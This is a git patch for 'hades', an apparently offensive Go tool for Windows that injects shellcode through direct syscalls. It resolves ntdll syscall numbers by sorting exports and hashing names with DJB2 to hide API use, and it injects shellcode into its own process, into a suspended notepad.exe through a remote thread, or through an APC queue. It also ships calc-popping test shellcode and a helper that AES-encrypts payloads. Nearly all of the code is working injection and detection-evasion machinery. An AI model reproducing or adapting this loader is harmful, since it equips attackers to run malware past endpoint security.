From 9850f0476dbbd7f8cd1fba4fce93c8b05e6475e9 Mon Sep 17 00:00:00 2001 From: fizm0 <79873476+fizm0@users.noreply.github.com> Date: Tue, 11 Oct 2022 10:31:29 +0200 Subject: [PATCH] init --- .gitignore | 5 ++ Makefile | 63 +++++++++++++ README.md | 1 + cmd/hades/main.go | 49 ++++++++++ cmd/hasher/main.go | 37 ++++++++ go.mod | 8 ++ go.sum | 4 + internal/loader/apiwrappers.go | 147 ++++++++++++++++++++++++++++++ internal/loader/asm64.s | 102 +++++++++++++++++++++ internal/loader/loader.go | 159 +++++++++++++++++++++++++++++++++ internal/loader/peb.go | 37 ++++++++ internal/loader/runner.go | 149 ++++++++++++++++++++++++++++++ internal/loader/syscall.go | 14 +++ internal/memory/memory.go | 15 ++++ internal/types/ldr.go | 40 +++++++++ internal/types/unicodestr.go | 13 +++ pkg/crypt/aes.go | 81 +++++++++++++++++ pkg/hashing/djb2.go | 19 ++++ pkg/rawreader/rawreader.go | 48 ++++++++++ 19 files changed, 991 insertions(+) create mode 100644 .gitignore create mode 100644 Makefile create mode 100644 README.md create mode 100644 cmd/hades/main.go create mode 100644 cmd/hasher/main.go create mode 100644 go.mod create mode 100644 go.sum create mode 100644 internal/loader/apiwrappers.go create mode 100644 internal/loader/asm64.s create mode 100644 internal/loader/loader.go create mode 100644 internal/loader/peb.go create mode 100644 internal/loader/runner.go create mode 100644 internal/loader/syscall.go create mode 100644 internal/memory/memory.go create mode 100644 internal/types/ldr.go create mode 100644 internal/types/unicodestr.go create mode 100644 pkg/crypt/aes.go create mode 100644 pkg/hashing/djb2.go create mode 100644 pkg/rawreader/rawreader.go diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..878051a --- /dev/null +++ b/.gitignore @@ -0,0 +1,5 @@ +.vim +build/ +dist/ +test_files/ +test_scripts/ diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..46d9fd3 --- /dev/null +++ b/Makefile @@ -0,0 +1,63 @@ +# --- Go Variables +GO=$(shell which go) +GOINSTALL=${GO} install +GOGET=${GO} get +GOBUILD=${GO} build +GOTEST=${GO} test + +# --- Config Variables +WIN_ARCHS=amd64 # 386 (not supported yet) +COMMIT_ID=$(shell git rev-parse --short HEAD) +TODAY=$(shell date +%d/%m/%y) + +ifdef VERSION + VERSION := $(VERSION) +else + VERSION := dev +endif + +# --- Project Vars +PROJ_NAME=hades +PROJ_MOD_PREFIX=github.com/f1zm0/hades +BUILD_PATH=${CURDIR}/dist +ENTRYPOINT=${CURDIR}/cmd/hades/main.go + +# --- Compiler Vars +GCFLAGS=-gcflags=all=-trimpath=$(GOPATH) +ASMFLAGS=-asmflags=all=-trimpath=$(GOPATH) +# LDFLAGS="-s -w -H=windowsgui" +LDFLAGS="-s -w" + + +# --- Targets +.PHONY: default +default: build + + +.PHONY: help +## help: prints an help message with all the available targets +help: + @echo "Usage: \n" + @sed -n 's/^##//p' ${MAKEFILE_LIST} | column -t -s ':' | sed -e 's/^/ /' + + +.PHONY: clean +## clean: delete all binaries +clean: + @if [ -d "${BUILD_PATH}" ]; then ${RM} ${BUILD_PATH}/* ; fi + + +.PHONY: test +## test: test code base using go test +test: + ${GOTEST} ./... -v -cover + + +.PHONY: build +## build: builds binary for Windows +build: + @for ARCH in ${WIN_ARCHS}; do \ + echo "Building binaries for Windows $${ARCH} ..."; \ + GOOS=windows GOARCH=$${ARCH} ${GOBUILD} -ldflags=${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} \ + -o ${BUILD_PATH}/${PROJ_NAME}-win-$${ARCH}-${VERSION}.exe ${ENTRYPOINT} || exit 1;\ + done; diff --git a/README.md b/README.md new file mode 100644 index 0000000..9c4a226 --- /dev/null +++ b/README.md @@ -0,0 +1 @@ +# hades diff --git a/cmd/hades/main.go b/cmd/hades/main.go new file mode 100644 index 0000000..f50276e --- /dev/null +++ b/cmd/hades/main.go @@ -0,0 +1,49 @@ +//go:build windows +// +build windows + +package main + +import ( + "fmt" + + "github.com/f1zm0/hades/internal/loader" +) + +func main() { + // pop calc + calcSc := []byte{ + 0x31, 0xc0, 0x50, 0x68, 0x63, 0x61, 0x6c, 0x63, + 0x54, 0x59, 0x50, 0x40, 0x92, 0x74, 0x15, 0x51, + 0x64, 0x8b, 0x72, 0x2f, 0x8b, 0x76, 0x0c, 0x8b, + 0x76, 0x0c, 0xad, 0x8b, 0x30, 0x8b, 0x7e, 0x18, + 0xb2, 0x50, 0xeb, 0x1a, 0xb2, 0x60, 0x48, 0x29, + 0xd4, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, + 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, + 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x03, 0x57, + 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, + 0x20, 0x48, 0x01, 0xfe, 0x8b, 0x54, 0x1f, 0x24, + 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad, + 0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75, + 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe, + 0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x99, 0xff, + 0xd7, + } + + ldr := loader.NewLoader() + + // if err := ldr.SelfInjectThread(calcSc); err !+ nil { + // fmt.Printf("An error occured:\n%s\n", err.Error()) + // } + + // if err := ldr.RemoteThreadInject(calcSc); err != nil { + // fmt.Printf("An error occured:\n%s\n", err.Error()) + // } + + if err := ldr.QueueUserAPC(calcSc); err != nil { + fmt.Printf("An error occured:\n%s\n", err.Error()) + } + + // reader := bufio.NewReader(os.Stdin) + // fmt.Print("Press enter to continue ...") + // _, _ = reader.ReadString('\n') +} diff --git a/cmd/hasher/main.go b/cmd/hasher/main.go new file mode 100644 index 0000000..3655306 --- /dev/null +++ b/cmd/hasher/main.go @@ -0,0 +1,37 @@ +package main + +import ( + "flag" + "fmt" + "os" + "strings" + + "github.com/f1zm0/hades/pkg/hashing" +) + +func main() { + flag.Usage = func() { + helpMsg := []string{ + "Usage:", + "hasher ' [...]'", + "", + } + fmt.Fprintf(os.Stderr, strings.Join(helpMsg, "\n")) + } + + flag.Parse() + + // Check if 1+ cli args has been specified + if flag.NArg() == 0 { + flag.Usage() + os.Exit(1) + } + + djb2 := hashing.NewDJB2() + + fmt.Printf("\n") + for _, s := range flag.Args() { + fmt.Printf("%s => %d\n", s, djb2.HashString(s)) + } + +} diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..bc81e68 --- /dev/null +++ b/go.mod @@ -0,0 +1,8 @@ +module github.com/f1zm0/hades + +go 1.17 + +require ( + github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee + golang.org/x/sys v0.0.0-20220114195835-da31bd327af9 +) diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..a3984ae --- /dev/null +++ b/go.sum @@ -0,0 +1,4 @@ +github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee h1:neBp9wDYVY4Uu1gGlrL+IL4JeZslz+hGEAjBXGAPWak= +github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ= +golang.org/x/sys v0.0.0-20220114195835-da31bd327af9 h1:XfKQ4OlFl8okEOr5UvAqFRVj8pY/4yfcXrddB8qAbU0= +golang.org/x/sys v0.0.0-20220114195835-da31bd327af9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= diff --git a/internal/loader/apiwrappers.go b/internal/loader/apiwrappers.go new file mode 100644 index 0000000..3b427fe --- /dev/null +++ b/internal/loader/apiwrappers.go @@ -0,0 +1,147 @@ +//go:build windows +// +build windows + +package loader + +import ( + "unsafe" + + "golang.org/x/sys/windows" +) + +const ( + nullptr = uintptr(0) +) + +func createSuspendedProcess() (*windows.ProcessInformation, error) { + var si windows.StartupInfo + var pi windows.ProcessInformation + + pCmdStr, err := windows.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe") + if err != nil { + return nil, err + } + + if err = windows.CreateProcess( + nil, + pCmdStr, + nil, + nil, + false, + windows.CREATE_SUSPENDED|windows.CREATE_NO_WINDOW, + nil, + nil, + &si, + &pi, + ); err != nil { + return nil, err + } + return &pi, nil +} + +func (pl *Loader) NtAllocateVirtualMemory( + hProc, baseAddr uintptr, + memSize int, + allocType, protectAttr uintptr, +) (uintptr, error) { + if _, err := Syscall( + uint16(pl.ntdllApi[int64(-8110667262648832052)].SyscallID), + hProc, + uintptr(unsafe.Pointer(&baseAddr)), + uintptr(unsafe.Pointer(nil)), + uintptr(unsafe.Pointer(&memSize)), + allocType, + protectAttr, + ); err != nil { + return nullptr, err + } + + return baseAddr, nil +} + +func (pl *Loader) NtWriteVirtualMemory( + hProc, baseAddr uintptr, + buf []byte, + numBytesToWrite int, +) (uintptr, error) { + if _, err := Syscall( + uint16(pl.ntdllApi[int64(-8604883203860988910)].SyscallID), + hProc, + uintptr(unsafe.Pointer(baseAddr)), + uintptr(unsafe.Pointer(&buf[0])), + uintptr(numBytesToWrite), + 0, + ); err != nil { + return nullptr, err + } + + return nullptr, nil +} + +func (pl *Loader) NtProtectVirtualMemory( + hProc, baseAddr uintptr, + memSize int, + newProtect uintptr, + oldProtect uintptr, +) (uintptr, error) { + if _, err := Syscall( + uint16(pl.ntdllApi[int64(8609481851873969992)].SyscallID), + hProc, + uintptr(unsafe.Pointer(&baseAddr)), + uintptr(unsafe.Pointer(&memSize)), + newProtect, + uintptr(unsafe.Pointer(&oldProtect)), + ); err != nil { + return nullptr, err + } + + return oldProtect, nil +} + +func (pl *Loader) NtCreateThreadEx(hThread, hProc, baseAddr uintptr) (uintptr, error) { + if _, err := Syscall( + uint16(pl.ntdllApi[-8677770082300808784].SyscallID), + uintptr(unsafe.Pointer(&hThread)), // ThreadHandle + windows.GENERIC_EXECUTE, // DesiredAccess + 0, // ObjectAttributes + hProc, // ProcessHandle + baseAddr, // StartRoutine + 0, // Argument + uintptr(0), // CreateFlags + 0, // ZeroBits + 0, // StackSize + 0, // MaxStackSize + 0, // AttributeList + ); err != nil { + return nullptr, err + } + + return hThread, nil +} + +func (pl *Loader) NtQueueApcThread(hThread, baseAddr uintptr) (uintptr, error) { + if _, err := Syscall( + uint16(pl.ntdllApi[-7842467120007854408].SyscallID), + hThread, // ThreadHandle + baseAddr, // ApcRoutine + uintptr(0), // ApcRoutineContext (optional) + 0, // ApcStatusBlock (optional) + 0, // ApcReserved (optional) + ); err != nil { + return nullptr, err + } + + return nullptr, nil +} + +// NOT WORKING: gets called but then creashes because of invalid PC +// func (pl *Loader) NtAlertResumeThread(hThread uintptr) (uintptr, error) { +// if _, err := Syscall( +// uint16(pl.ntdllApi[5863495249448612240].SyscallID), +// hThread, +// uintptr(0), +// ); err != nil { +// return nullptr, err +// } +// return nullptr, nil +// } diff --git a/internal/loader/asm64.s b/internal/loader/asm64.s new file mode 100644 index 0000000..5dd56f4 --- /dev/null +++ b/internal/loader/asm64.s @@ -0,0 +1,102 @@ +// ---------------------------- +// func GetInMemoryOrderModuleListPtr() uintptr +// ---------------------------- +TEXT ·GetInMemoryOrderModuleListPtr(SB),$0-8 + // PEB + MOVQ 0x60(GS), AX + // PEB->Ldr + MOVQ 0x18(AX), AX + // PEB->Ldr->InMemoryOrderModuleList + MOVQ 0x20(AX), AX + MOVQ AX, ret+0(FP) + RET + +// ---------------------------- +// func GetLdrTableEntryPtr(listptr uintptr, i int64) *LdrDataTableEntry +// ---------------------------- +TEXT ·GetLdrTableEntryPtr(SB),$0-24 + + MOVQ listptr+0(FP), AX + + XORQ R10, R10 +next_entry: + CMPQ R10, i+8(FP) + JE endloop + + // next Flink + MOVQ (AX), AX + INCQ R10 + JMP next_entry + +endloop: + MOVQ AX, CX + // start of LDR_DATA_TABLE_ENTRY struct + SUBQ $0x10, CX + MOVQ CX, ret+16(FP) + RET + + +// ---------------------------- +// func execSyscall(callID uint16, argh ...uintptr) (errcode uint32) +// ---------------------------- +// Implementation taken from: +// https://github.com/C-Sto/BananaPhone/blob/master/pkg/BananaPhone/asm_x64.s#L96 + +#define maxargs 16 +TEXT ·execSyscall(SB), $0-56 + XORQ AX,AX + MOVW callid+0(FP), AX + PUSHQ CX + + //put variadic size into CX + MOVQ argh_len+16(FP),CX + //put variadic pointer into SI + MOVQ argh_base+8(FP),SI + + // SetLastError(0). + MOVQ 0x30(GS), DI + MOVL $0, 0x68(DI) + SUBQ $(maxargs*8), SP // room for args + + // Fast version, do not store args on the stack. + CMPL CX, $4 + JLE loadregs + + // Check we have enough room for args. + CMPL CX, $maxargs + JLE 2(PC) + INT $3 // not enough room -> crash + + // Copy args to the stack. + MOVQ SP, DI + CLD + REP; MOVSQ + MOVQ SP, SI + + //move the stack pointer????? why???? + SUBQ $8, SP + +loadregs: + // Load first 4 args into correspondent registers. + MOVQ 0(SI), CX + MOVQ 8(SI), DX + MOVQ 16(SI), R8 + MOVQ 24(SI), R9 + + // Floating point arguments are passed in the XMM + // registers. Set them here in case any of the arguments + // are floating point values. For details see + // https://msdn.microsoft.com/en-us/library/zthk2dkh.aspx + MOVQ CX, X0 + MOVQ DX, X1 + MOVQ R8, X2 + MOVQ R9, X3 + //MOVW callid+0(FP), AX + MOVQ CX, R10 + SYSCALL + ADDQ $((maxargs+1)*8), SP + + // Return result. + POPQ CX + MOVL AX, errcode+32(FP) + RET diff --git a/internal/loader/loader.go b/internal/loader/loader.go new file mode 100644 index 0000000..ff2c2cc --- /dev/null +++ b/internal/loader/loader.go @@ -0,0 +1,159 @@ +package loader + +import ( + "bytes" + "encoding/binary" + "errors" + "io" + "sort" + "strings" + "unsafe" + + "github.com/f1zm0/hades/pkg/hashing" + rrd "github.com/f1zm0/hades/pkg/rawreader" + + "github.com/Binject/debug/pe" +) + +type PEModule struct { + BaseAddr uintptr + File *pe.File +} + +type InMemProc struct { + Name string + BaseAddr uintptr + SyscallID int +} + +type Loader struct { + // Hashing provider + djb2 *hashing.DJB2 + + // Map of ntdll.dll [funcNameHash]syscallID + ntdllApi map[int64]InMemProc +} + +func NewLoader() *Loader { + djb2 := hashing.NewDJB2() + pl := &Loader{djb2: djb2} + ntProcs, err := pl.ResolveSyscallIDs() + if err != nil { + panic(err) + } + + pl.ntdllApi = ntProcs + + return pl +} + +func (pl *Loader) GetSysID(funcName string) int { + fHash := pl.djb2.HashString(funcName) + if v, ok := pl.ntdllApi[fHash]; ok { + return v.SyscallID + } + return -1 +} + +func (pl *Loader) GetModuleHandleByHash(modNameHash int64) (*PEModule, error) { + entries := GetLdrTableEntries() + for _, entry := range entries { + if pl.djb2.HashString(entry.BaseDllName.String()) == modNameHash { + + modBaseAddr := uintptr(unsafe.Pointer(entry.DllBase)) + modSize := int(uintptr(unsafe.Pointer(entry.SizeOfImage))) + rr := rrd.NewRawReader(modBaseAddr, modSize) + + p, err := pe.NewFileFromMemory(rr) + if err != nil { + return nil, errors.New("Error reading module from memory") + } + + pm := &PEModule{ + BaseAddr: modBaseAddr, + File: p, + } + return pm, nil + } + } + return nil, errors.New("Module not found. Probably not loaded.") +} + +func (pl *Loader) GetProcAddressByHash(p *PEModule, funcNameHash int64) (int64, error) { + ex, err := p.File.Exports() + if err != nil { + return 0, err + } + for _, exp := range ex { + if pl.djb2.HashString(exp.Name) == funcNameHash { + return (int64(p.BaseAddr) + int64(exp.VirtualAddress)), nil + } + } + + return 0, errors.New("Function not found") +} + +func GetAllProcs(p *PEModule) ([]InMemProc, error) { + var procs []InMemProc + + ex, err := p.File.Exports() + if err != nil { + return procs, err + } + for _, exp := range ex { + memAddr := int64(p.BaseAddr) + int64(exp.VirtualAddress) + procs = append(procs, InMemProc{ + Name: exp.Name, + BaseAddr: uintptr(memAddr), + }) + } + + return procs, nil +} + +func (p *InMemProc) IsHooked() bool { + safeBytes := []byte{0x4c, 0x8b, 0xd1, 0xb8} + stub := make([]byte, len(safeBytes)) + + rr := rrd.NewRawReader(p.BaseAddr, len(safeBytes)) + + sr := io.NewSectionReader(rr, 0, 1<<63-1) + binary.Read(sr, binary.LittleEndian, &stub) + + if bytes.Compare(stub, safeBytes) == 0 { + return true + } + return false +} + +func (pl *Loader) ResolveSyscallIDs() (map[int64]InMemProc, error) { + procMap := make(map[int64]InMemProc) + var ntProcs []InMemProc + + hNtdll, err := pl.GetModuleHandleByHash(249899979757565421) + if err != nil { + return procMap, err + } + procs, err := GetAllProcs(hNtdll) + if err != nil { + return procMap, err + } + + for _, p := range procs { + if strings.HasPrefix(p.Name, "Zw") { + ntProcs = append(ntProcs, p) + } + } + + sort.Slice(ntProcs, func(i, j int) bool { + return ntProcs[i].BaseAddr < ntProcs[j].BaseAddr + }) + + for i := range ntProcs { + ntProcs[i].SyscallID = i + ntProcs[i].Name = "Nt" + ntProcs[i].Name[2:] + procMap[pl.djb2.HashString(ntProcs[i].Name)] = ntProcs[i] + } + + return procMap, nil +} diff --git a/internal/loader/peb.go b/internal/loader/peb.go new file mode 100644 index 0000000..d0ebdc6 --- /dev/null +++ b/internal/loader/peb.go @@ -0,0 +1,37 @@ +package loader + +import ( + "unsafe" + + wt "github.com/f1zm0/hades/internal/types" +) + +func GetLdrTableEntryPtr(listptr uintptr, i int64) *wt.LdrDataTableEntry + +func GetInMemoryOrderModuleListPtr() uintptr + +func GetLdrTableEntries() []*wt.LdrDataTableEntry { + entries := []*wt.LdrDataTableEntry{} + var ( + entry *wt.LdrDataTableEntry + firstEntry *wt.LdrDataTableEntry + ) + + // addr of Ldr->InMemoryOrderModuleList + modListPtr := GetInMemoryOrderModuleListPtr() + + firstEntry = GetLdrTableEntryPtr(modListPtr, 0) + entries = append(entries, firstEntry) + + i := int64(1) + for { + entry = GetLdrTableEntryPtr(modListPtr, i) + if entry == firstEntry || unsafe.Pointer(entry.DllBase) == unsafe.Pointer(nil) { + break + } + entries = append(entries, entry) + i = i + 1 + } + + return entries +} diff --git a/internal/loader/runner.go b/internal/loader/runner.go new file mode 100644 index 0000000..5953132 --- /dev/null +++ b/internal/loader/runner.go @@ -0,0 +1,149 @@ +// + build windows + +package loader + +import ( + "fmt" + + "golang.org/x/sys/windows" +) + +func (pl *Loader) SelfInjectThread(scbuf []byte) error { + var ( + err error + scBaseAddr uintptr + hThread uintptr + ) + hSelf := uintptr(0xffffffffffffffff) // handle to current proc + scBaseAddr, err = pl.NtAllocateVirtualMemory( + hSelf, + scBaseAddr, + len(scbuf), + windows.MEM_COMMIT|windows.MEM_RESERVE, + windows.PAGE_READWRITE, + ) + if err != nil { + return err + } + fmt.Printf("Base address of allocated memory: 0x%016x\n", scBaseAddr) + + // memory.WriteMemory(scbuf, scBaseAddr) + if _, err := pl.NtWriteVirtualMemory(hSelf, scBaseAddr, scbuf, len(scbuf)); err != nil { + return err + } + fmt.Println("Shellcode copied to allocated memory") + + fmt.Println("Changing memory protection to RX") + if _, err := pl.NtProtectVirtualMemory(hSelf, scBaseAddr, len(scbuf), windows.PAGE_EXECUTE_READ, windows.PAGE_READWRITE); err != nil { + return err + } + + fmt.Println("Creating thread to exec shellcode ...") + hThread, err = pl.NtCreateThreadEx(hThread, hSelf, scBaseAddr) + if err != nil { + return err + } + + windows.WaitForSingleObject(windows.Handle(hThread), 0xffffffff) + + fmt.Println("Injection complted succesfully") + return nil +} + +func (pl *Loader) RemoteThreadInject(scbuf []byte) error { + var ( + err error + scBaseAddr uintptr + ) + + fmt.Println("Creating suspended process ...") + pi, err := createSuspendedProcess() + if err != nil { + return err + } + + scBaseAddr, err = pl.NtAllocateVirtualMemory( + uintptr(pi.Process), + scBaseAddr, + len(scbuf), + windows.MEM_COMMIT|windows.MEM_RESERVE, + windows.PAGE_READWRITE, + ) + if err != nil { + return err + } + fmt.Printf("Base address of allocated memory: 0x%016x\n", scBaseAddr) + + // memory.WriteMemory(scbuf, scBaseAddr) + if _, err := pl.NtWriteVirtualMemory(uintptr(pi.Process), scBaseAddr, scbuf, len(scbuf)); err != nil { + return err + } + fmt.Println("Shellcode copied to allocated memory") + + fmt.Println("Changing memory protection to RX") + if _, err := pl.NtProtectVirtualMemory(uintptr(pi.Process), scBaseAddr, len(scbuf), windows.PAGE_EXECUTE_READ, windows.PAGE_READWRITE); err != nil { + return err + } + + fmt.Println("Creating thread to exec shellcode ...") + _, err = pl.NtCreateThreadEx(uintptr(pi.Thread), uintptr(pi.Process), scBaseAddr) + if err != nil { + return err + } + + fmt.Println("Closing thread handle ...") + if err := windows.Close(windows.Handle(pi.Process)); err != nil { + return err + } + + fmt.Println("Injection completed succesfully!") + return nil +} + +func (pl *Loader) QueueUserAPC(scbuf []byte) error { + var ( + err error + scBaseAddr uintptr + ) + + pi, err := createSuspendedProcess() + if err != nil { + return err + } + fmt.Printf("Created suspended process ...\n") + + scBaseAddr, err = pl.NtAllocateVirtualMemory( + uintptr(pi.Process), + scBaseAddr, + len(scbuf), + windows.MEM_COMMIT|windows.MEM_RESERVE, + windows.PAGE_READWRITE, + ) + if err != nil { + return err + } + fmt.Printf("Base address of allocated memory: 0x%016x\n", scBaseAddr) + + if _, err := pl.NtWriteVirtualMemory(uintptr(pi.Process), scBaseAddr, scbuf, len(scbuf)); err != nil { + return err + } + fmt.Println("Writing shellcode to allocated memory") + + fmt.Println("Changing memory protection to RX") + if _, err := pl.NtProtectVirtualMemory(uintptr(pi.Process), scBaseAddr, len(scbuf), windows.PAGE_EXECUTE_READ, windows.PAGE_READWRITE); err != nil { + return err + } + + fmt.Println("Adding thread to APC queue ...") + if _, err := pl.NtQueueApcThread(uintptr(pi.Thread), scBaseAddr); err != nil { + return err + } + + fmt.Println("Resuming thread to execute shellcode...") + if _, err := windows.ResumeThread(windows.Handle(pi.Thread)); err != nil { + return err + } + + fmt.Println("Injection completed succesfully") + return nil +} diff --git a/internal/loader/syscall.go b/internal/loader/syscall.go new file mode 100644 index 0000000..cf98ae6 --- /dev/null +++ b/internal/loader/syscall.go @@ -0,0 +1,14 @@ +package loader + +import "errors" + +func execSyscall(callid uint16, argh ...uintptr) (errcode uint32) + +func Syscall(syscallID uint16, args ...uintptr) (errcode uint32, err error) { + errcode = execSyscall(syscallID, args...) + + if errcode != 0 { + return errcode, errors.New("non-zero return from syscall") + } + return errcode, nil +} diff --git a/internal/memory/memory.go b/internal/memory/memory.go new file mode 100644 index 0000000..2da3dad --- /dev/null +++ b/internal/memory/memory.go @@ -0,0 +1,15 @@ +package memory + +import ( + "unsafe" +) + +// WriteMemory writes the provided memory to the specified memory address. +// It does NOT check permissions, may cause panic if memory is not writable etc. +func WriteMemory(inbuf []byte, destination uintptr) { + for index := uint32(0); index < uint32(len(inbuf)); index++ { + writePtr := unsafe.Pointer(destination + uintptr(index)) + v := (*byte)(writePtr) + *v = inbuf[index] + } +} diff --git a/internal/types/ldr.go b/internal/types/ldr.go new file mode 100644 index 0000000..4549cf4 --- /dev/null +++ b/internal/types/ldr.go @@ -0,0 +1,40 @@ +package types + +import ( + "fmt" + "unsafe" +) + +type LdrDataTableEntry struct { + InLoadOrderLinks ListEntry + InMemoryOrderLinks ListEntry + InInitializationOrderLinks ListEntry + DllBase *uintptr + EntryPoint *uintptr + SizeOfImage *uintptr + FullDllName UnicodeString + BaseDllName UnicodeString + Flags uint32 + LoadCount uint16 + TlsIndex uint16 + HashLinks ListEntry + TimeDateStamp uint64 +} + +type ListEntry struct { + Flink *ListEntry + Blink *ListEntry +} + +func (te *LdrDataTableEntry) DumpInfo() { + fmt.Printf(` +---- +Name: %s +Base: 0x%016x +Size: %d +`, + te.FullDllName.String(), + uintptr(unsafe.Pointer(te.DllBase)), + int(uintptr(unsafe.Pointer(te.SizeOfImage))), + ) +} diff --git a/internal/types/unicodestr.go b/internal/types/unicodestr.go new file mode 100644 index 0000000..7943f4b --- /dev/null +++ b/internal/types/unicodestr.go @@ -0,0 +1,13 @@ +package types + +import "golang.org/x/sys/windows" + +type UnicodeString struct { + Length uint16 + MaximumLength uint16 + Buffer *uint16 +} + +func (s UnicodeString) String() string { + return windows.UTF16PtrToString(s.Buffer) +} diff --git a/pkg/crypt/aes.go b/pkg/crypt/aes.go new file mode 100644 index 0000000..d5aa96b --- /dev/null +++ b/pkg/crypt/aes.go @@ -0,0 +1,81 @@ +package main + +import ( + "bytes" + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "encoding/base64" + "encoding/hex" + "errors" + "io/ioutil" + "log" + "strings" +) + +var ( + ErrInvalidBlockSize = errors.New("[!] Invalid block size") + + ErrInvalidPKCS7Data = errors.New("[!] Invalid PKCS7 Data (Empty or Not Padded)") + + ErrInvalidPKCS7Padding = errors.New("[!] Invalid padding on input") +) + +func GetRandBuffer(size int) []byte { + buf := make([]byte, size) + _, err := rand.Read(buf) + if err != nil { + log.Fatal(err) + } + return buf +} + +func Pkcs7Pad(b []byte, blocksize int) ([]byte, error) { + if blocksize <= 0 { + return nil, ErrInvalidBlockSize + } + if b == nil || len(b) == 0 { + return nil, ErrInvalidPKCS7Data + } + n := blocksize - (len(b) % blocksize) + pb := make([]byte, len(b)+n) + copy(pb, b) + copy(pb[len(b):], bytes.Repeat([]byte{byte(n)}, n)) + return pb, nil +} + +func EncryptBuffer(buf []byte) ([]byte, []byte, []byte) { + var rawbyte []byte + key := GetRandBuffer(32) + iv := GetRandBuffer(16) + + block, err := aes.NewCipher(key) + if err != nil { + log.Fatal(err) + } + + paddedInput, err := Pkcs7Pad([]byte(rawbyte), aes.BlockSize) + if err != nil { + log.Fatal(err) + } + + encBuf := make([]byte, len(paddedInput)) + encMode := cipher.NewCBCEncrypter(block, iv) + encMode.CryptBlocks(encBuf, paddedInput) + + return iv, key, encBuf +} + +func Encrypt(scFile string) string { + src, _ := ioutil.ReadFile(scFile) + dst := make([]byte, hex.EncodedLen(len(src))) + hex.Encode(dst, src) + r := base64.StdEncoding.EncodeToString(dst) + + iv, key, encBuf := EncryptBuffer([]byte(r)) + b64EncBuf := base64.StdEncoding.EncodeToString(encBuf) + b64Key := base64.StdEncoding.EncodeToString(key) + b64IV := base64.StdEncoding.EncodeToString(iv) + + return strings.Join([]string{b64IV, b64Key, b64EncBuf}, ":") +} diff --git a/pkg/hashing/djb2.go b/pkg/hashing/djb2.go new file mode 100644 index 0000000..7fe1226 --- /dev/null +++ b/pkg/hashing/djb2.go @@ -0,0 +1,19 @@ +package hashing + +import ( + "strings" +) + +type DJB2 struct{} + +func NewDJB2() *DJB2 { + return &DJB2{} +} + +func (d *DJB2) HashString(s string) int64 { + var hash int64 = 5381 + for _, c := range strings.ToLower(s) { + hash = ((hash << 5) + hash) + int64(c) + } + return hash +} diff --git a/pkg/rawreader/rawreader.go b/pkg/rawreader/rawreader.go new file mode 100644 index 0000000..1b03c5d --- /dev/null +++ b/pkg/rawreader/rawreader.go @@ -0,0 +1,48 @@ +package rawreader + +import ( + "errors" + "io" + "reflect" + "unsafe" +) + +// RawReader struct and functions below are taken from: +// https://github.com/awgh/rawreader/blob/master/rawreader.go + +// RawReader struct uses reflect to read data from underlying memory +type RawReader struct { + sliceHeader *reflect.SliceHeader + rawPtr uintptr + Data []byte + Length int +} + +// NewRawReader returns a reference to a new populated RawReader +func NewRawReader(start uintptr, length int) *RawReader { + sh := &reflect.SliceHeader{ + Data: start, + Len: length, + Cap: length, + } + data := *(*[]byte)(unsafe.Pointer(sh)) + return &RawReader{sliceHeader: sh, rawPtr: start, Data: data, Length: length} +} + +// ReadAt func reads a file with a seek offset +func (f *RawReader) ReadAt(p []byte, off int64) (n int, err error) { + if off < 0 { + return 0, errors.New("RawReader.ReadAt: negative offset") + } + reqLen := len(p) + buffLen := int64(f.Length) + if off >= buffLen { + return 0, io.EOF + } + + n = copy(p, f.Data[off:]) + if n < reqLen { + err = io.EOF + } + return n, err +}